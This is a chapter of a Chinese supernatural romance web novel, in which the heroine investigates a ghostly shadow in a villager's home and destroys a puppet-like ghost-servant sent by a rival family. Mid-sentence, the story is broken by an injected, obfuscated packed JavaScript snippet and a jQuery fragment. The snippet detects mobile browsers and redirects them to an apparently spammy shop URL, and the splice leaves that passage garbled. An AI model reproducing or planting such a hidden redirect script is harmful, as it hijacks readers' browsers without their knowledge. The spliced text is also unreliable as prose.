25. 窥探

作品:《男鬼老公又被我揍跑了

    村长家是三层的自建房,刷白色水泥墙,屋顶盖严严实实的灰色瓦片。从外面看朴实无华,屋里则气派,真皮沙发、红木茶几和便民的家电应有尽有。


    沉筠伫立客厅环顾,一众老土但昂贵的家具簇拥下,他犹如一轮孤冷的银月,与俗世泾渭分明,眼梢含着淡淡的挑剔意味。


    村长儿子狗腿似的,谄媚笑道:“沉总,三楼的房间已经收拾好,保证干干净净。”


    他沾沾自喜:行业的龙头大佬纾尊绛贵住他家考察,收购蛇果的事十拿九稳了。


    沉筠一言不发,由付秘书应付他。


    段煦宁对于他们入住的理由带着质疑的态度。他所知道的鬼师是唯利是图的家伙,他们借住村里为的不只是蛇果,还为了潜伏在村里的邪物。


    叶芷希本来觉得沉筠很帅,简直是偶像剧里的高岭之花来到现实,她频频偷看养眼,当村长儿子喊他“沉总”,加班写邮件、被领导训话的恐怖回忆瞬间劈头盖脸地淹下来——她萎了。


    多帅的脸再也不能让她提起兴趣,她恢复死气沉沉的摆烂模样。


    村长对于山上的异样表示一无所知,甚至于段煦宁故意没有提迁坟的道士死亡,村长也全然不知。


    段煦宁放弃试探村长,让叶芷希找村长儿子的老婆打听,自己则出门向别的村民打听。


    另一边,瞿九清等人回到家里的第一件事是排队洗澡。


    天气炎热,动一动就大汗淋漓,一天不洗几次澡,都不能说自己是广东人。


    下午一点多,厨房炊烟袅袅,吴建国和吴奶奶熬艾草水。洗完澡的瞿九清神清气爽,坐在客厅的沙发乘凉,轮到吴彤童去洗。


    本地的电视台正播放卖药的广告,腻味的瞿九清拿起遥控换台,忽地被余光处动了一下的影子吸引。


    她转头盯着卫生间门。


    门是磨砂玻璃,透出朦胧的灯光,透出长发的影子。


    是吴彤童在洗澡,瞿九清的视线回到电视机。


    不一会儿,她“咻”地站起来,审视卫生间门。


    卫生间的内部是趴着的“L”型,开门迎上的是一堵墙,往左拐才是卫浴间,因此吴彤童的倒影不可能投在卫生间的门上。


    仔细看,磨砂玻璃上的女人黑影比吴彤童矮一点,肚腩突出一点,同样是长发。


    让瞿九清震惊的是,它的轮廓和昨晚闯入房间的黑影九成相似。


    此时,黑影贴在门上,弓背探头,似乎在偷看吴彤童洗澡。


    瞿九清毛骨悚然。


    “吴彤童!”


    她大喝一声后,门上的黑影瞬间消失。


    “……干嘛?”


    卫生间里面的水声淅淅沥沥,夹杂吴彤童含糊的回应。


    瞿九清放下心头大石:“没什么,我找到抹布啦!”


    吴彤童:“哦哦……”


    她住的房间是吴彤童原来睡的,那个黑影不是来找她,而是找吴彤童。


    “逃”也是对吴彤童说的,口吻是急切与熟稔。如果是对她说,应该写下“带XXX逃”或者“救XXX”。


    那么黑影是谁?


    吴奶奶健在,吴彤童的妈妈……她一直在房间没有出来过。


    瞿九清再没有心情看电视,一直紧盯卫生间门,提防黑影再现。


    终于等到吴彤童洗完澡出来晾衣服,瞿九清跟着她到天井,悄声询问:“你的妈妈好点了吗?”


    吴彤童怅然叹气,拿起衣架穿过T恤的衣领。“爸爸说妈妈还是那样,没有力气起来和说话,只能喝稀粥。”


    “你回来的这两天有进去看她吗?”


    “我不敢打扰妈妈,在门口看一眼而已,怎么了?”


    瞿九清继续问:“她睡在床上吗?”


    吴彤童担忧地点头:“她瘦了很多。”


    “你爸爸说送她回老家治病,就是送来柏山村吗?没去医院?”


    吴彤童眼中的憧憬令瞿九清遍体生寒:“医院治不好妈妈,我们的蛇果能治百病,只有蛇果能救她。奶奶已经喂她吃蛇果,她很快就会好了,现在是逆转期。”


    在猛烈的阳光下,瞿九清发冷。


    一个上大二的学生,学过科学、生物的大学生,竟然深信来路不明的蛇果能治病。要是它的来历正大光明,哪需要一百年后才交给专家研究?


    她觉得正在对话的不是一个知识青年,而是一个思想受到迷信禁锢的傀儡。她舌头僵硬,语气尽量轻松:“逆转期是什么?”


    吴彤童侃侃而谈:“就是服用蛇果后,身体的病症陆续爆发,过一段时间,病症自行痊愈,人就好起来。”


    瞿九清不知道自己此时的笑容,是自然还是难看。


    要是说妈妈有古怪,吴彤童可能会打死她。


    这时,到外面打探的江紫回来,瞿九清顺势结束话题,喊江紫上二楼。


    她把卫生间的黑影和吴彤童的话告诉江紫。


    江紫当机立断:“等入夜,去房间看看她的妈妈。”


    瞿九清犯难:“要支开他们才行,万一她的妈妈真的是鬼,他们留在房间会碍事。”


    江紫勾唇:“我打听到村里有人要办丧事,族长要求各家的男人和妇女去帮忙,今晚他们肯定忙得焦头烂额。”


    果不其然,艾草水刚熬好,邻居来通知吴建国去某家帮忙办丧礼。


    吴建国二话不说答应:“行,我等会就过去。”


    邻居:“就你一个吗?”


    吴建国:“是啊,我妈的腿不利索。”


    邻居神情复杂,看向吴彤童:“有三户人办喜丧,人手不够,你看你们能不能再腾出人来。”


    “三户?”父女俩大吃一惊。


    没道理让客人去帮忙,吴彤童说:“我也去,奶奶留下陪客人和妈妈。”


    邻居:“好嘞,你们尽快过去,真的忙得脚不沾地,唉!”


    于是,今晚家里只有吴奶奶、瞿九清和江紫吃饭。


    吴奶奶和蔼可亲,笑眯眯地陪她们吃饭,问关于大学的生活。


    饭后洗好碗,江紫陪吴奶奶看电视。


    借着肥皂剧的声音掩盖,瞿九清偷溜进吴妈妈的房间。


    好腥。


    黑漆漆的房间弥漫浓郁作呕的腥味,不同于血腥味,而是像她逛市场买海鲜时的腥味,同时夹杂怪异的臭味。


    不行了,才刚进来,她觉得自己像吴建国那样腌入味。


    瞿九清捏着鼻子摸黑走向床,通过窗外的路灯照射,她看见垂下的蚊帐里,床上的人隐约背对她侧卧,背影单薄可怜。


    她蹑手蹑脚,绕到床的另一边,伸长脖子靠近蚊帐,想看清楚吴妈妈的面容。


    路灯的白光直射进来,蚊帐布满一格一格的小洞,在里面的面庞落下一格一格的影子,像是古代的黥刑,她莫名萌生残忍的错觉。


    她把心一横,撩起蚊帐看清楚。


    苍白的女人脸干瘦如柴,紧闭双眼,颧骨凸起。


    瞿九清的食指慢慢地探向女人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357407|198888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的鼻子底下。


    鼻息微弱近乎无,她不敢确定女人是不是死了。她想探脖子的大动脉,但老觉得恶心而迟迟动不了手。忽而手腕起鸡皮疙瘩,她机警地缩回手。


    房间比刚进来时阴冷,这里有东西。


    床上的女人一动不动,病容不变却很腥;四周的黑影似乎只是家具的影子,直挺挺地伫立墙角,一动不动。


    阴冷的空气扑面而来。


    房间冷得像冰箱的冷冻层,正常才怪!


    瞿九清念咒打开天眼,一张惨白泛着油光的面庞正对她的双眼。


    她急忙后仰并落下蚊帐。


    与此同时,她打去早就画好的掌心雷。


    轰隆——


    “什么声音?”吴奶奶转头张望。


    江紫镇定自若:“可能是外面敲锣打鼓。”


    吴奶奶点点头:“到时间做治丧了。”


    轰隆隆——


    江紫:“……”


    吴妈妈这么猛吗?


    吴奶奶:“是不是我们屋发出的?”


    江紫:“可能是小九在房间弄倒椅子。”


    吴奶奶又点点头。


    房间内,形似傀儡的鬼物从天花板跳下来,扑向瞿九清。它浑身雪白反珠光,眉眼弯弯笑,两腮画着一点红,像纸扎人的画风。


    它的身体很硬,而且床上的人影还在,显然它不是吴妈妈,是非一般的邪物。


    瞿九清咬破舌尖,朝它的笑脸吐出舌尖血。笑脸沾血的部分瞬间焦黑,她迅速沾脸上的舌尖血画符。


    傀儡的四肢犹如八爪鱼的触手缠绕她的胳膊,沉如磐石,她咬紧牙稳住胳膊画符,胸口的护身符烫得要烧起来般。


    就在带有关节球的手指抓向瞿九清的心脏,一层淡淡的金光阻隔,她的符恰好画成。


    “诛邪!”


    打邪符发出红光,沿着笑脸的裂纹蔓延,看似它满脸破碎流血。它瑟瑟发抖,不甘心地张大嘴巴咬来,但脸的碎裂更快,撕裂的大嘴成了碎块烁烁落地,残缺的躯体掉落地然后灰飞烟灭。


    它是鬼奴。


    它的笑脸碎裂后露出额头的鬼画符,瞿九清直觉那是殓文。


    沉家终于对她出手,但她觉得不是沉筠的作风。那家伙好几次亲自来杀她,他会愿意借刀杀人减少乐趣?笑话!


    瞿九清再次掀开蚊帐,确认吴妈妈还在床上。她深深地看一眼,落下蚊帐溜出去。


    “咳咳,筠哥……鬼奴失败了。”


    村长家三楼的房间,付秘书盘腿坐在地上施法,咳出血。一圈血红的符箓包围他,跟前烧着线香和红烛,供奉一颗血淋淋的猪心。


    猪心变黑,恶臭不已。


    沉筠坐在床沿闭目。


    没品位的富贵花枕头套丢去地上,他背后的枕头剩下白色枕芯。他不喜欢睡白色枕头,用薄被盖在上面。


    他依然闭目,不以为意,并且早有预料:“区区一个丙级鬼奴。”


    呵,遭到最大反噬的是那群老家伙,他们会消停一阵了。


    付秘书却脸色难看。


    丙级鬼奴的陶瓷容器坚硬,动作灵活,隐身绝佳,最适合不动声色的刺杀,曾经帮多少大人物刺杀心腹,然而竟被一个籍籍无名的丫头打败,还召不回一点残渣。


    她到底师承何人?是五大家族之一的私生女吗?


    沉筠睁眼,冷漠地一瞥,语调毫无起伏:“做好你的份内事。”


    付秘书心头一颤,安静地收拾好地面。